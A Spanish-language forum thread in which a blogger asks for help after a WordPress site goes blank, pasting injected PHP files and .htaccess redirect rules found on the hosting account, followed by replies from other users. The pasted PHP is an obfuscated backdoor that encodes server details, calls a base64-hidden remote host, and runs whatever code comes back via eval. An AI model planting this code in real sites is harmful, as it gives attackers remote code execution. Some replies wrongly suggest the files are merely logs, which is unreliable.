Ayuda, mi blog de hip hop se ha caído y encontré archivos sospechosos

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="53314ab123f0ac117681f01f98f07eb3") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

Hacer clic para expandir...

Options -MultiViews
ErrorDocument 404 //rapenmexico.com/index/wp-content/87366.php

Por el momento he borrado cada uno de eses elementos de mi sitio de hip hop, pero en todas las demás carpetas de mi cuenta de hostgator estan esos archivos.

Hacer clic para expandir...

Plaga dijo:

Bueno tengo un problema con mi blog de hip hop, lo que pasa es que hoy que entre veo que no se ve nada, simplemente sale una pagina en blanco y no se cual haya sido el problema, yo no toque nada si puse plugins ni nada por el estilo 🙁 simplemente hoy por la mañana así aparecio, y lo que note también es que en mi host aparecieron unos archivos .php muy extraños los cuales tienen nombre como 216580.php, 103272.php

Y tienen el codigo:



Y también en cada carpeta de aparecieron archivos .htaccess
con el codigo:

PHP:

Options -MultiViews
ErrorDocument 404 //rapenmexico.com/index/wp-content/87366.php

Por el momento he borrado cada uno de eses elementos de mi sitio de hip hop, pero en todas las demás carpetas de mi cuenta de hostgator estan esos archivos.

Que hago?
Porque aparecieron?

Me comunico con el soporte de hostgator?
AYUDA por favor

Hacer clic para expandir...

silvestre dijo:

Dijiste que estaba en blanco, no que estaba saliendo, en cuanto a lo otro lo normal es que notifiques a tu hosting para que hagan algo al respecto. Talvez y solo son algunos logs.

Hacer clic para expandir...

Plaga dijo:

Es que no se veia mi blog tan solo salia una pagina en blanco y lo que hice fue borrar cada uno de esos archivos, y que molesto fue ya que hay que borrar en cada carpeta de la instalación de wordpress.

También no se si sea que salieron esos archivos porque me suspendieron mi cuenta ayer :s

Hacer clic para expandir...

silvestre dijo:

Hostgator nunca me ha gustado ... Son muy sensibles 🙂

Hacer clic para expandir...

GonZa dijo:

Talvez sean logs como dijieron por ahi, o si no alguien entro a tu FTP y los subio jaja.


Si haces las cosas bien no va a pasar nada, a mi me encanta Hostgator, el soporte es de lo mejor y el servicio tambien, nunca tube problemas. Son muy amables y te ayudan sin problemas.

Saludos!

Hacer clic para expandir...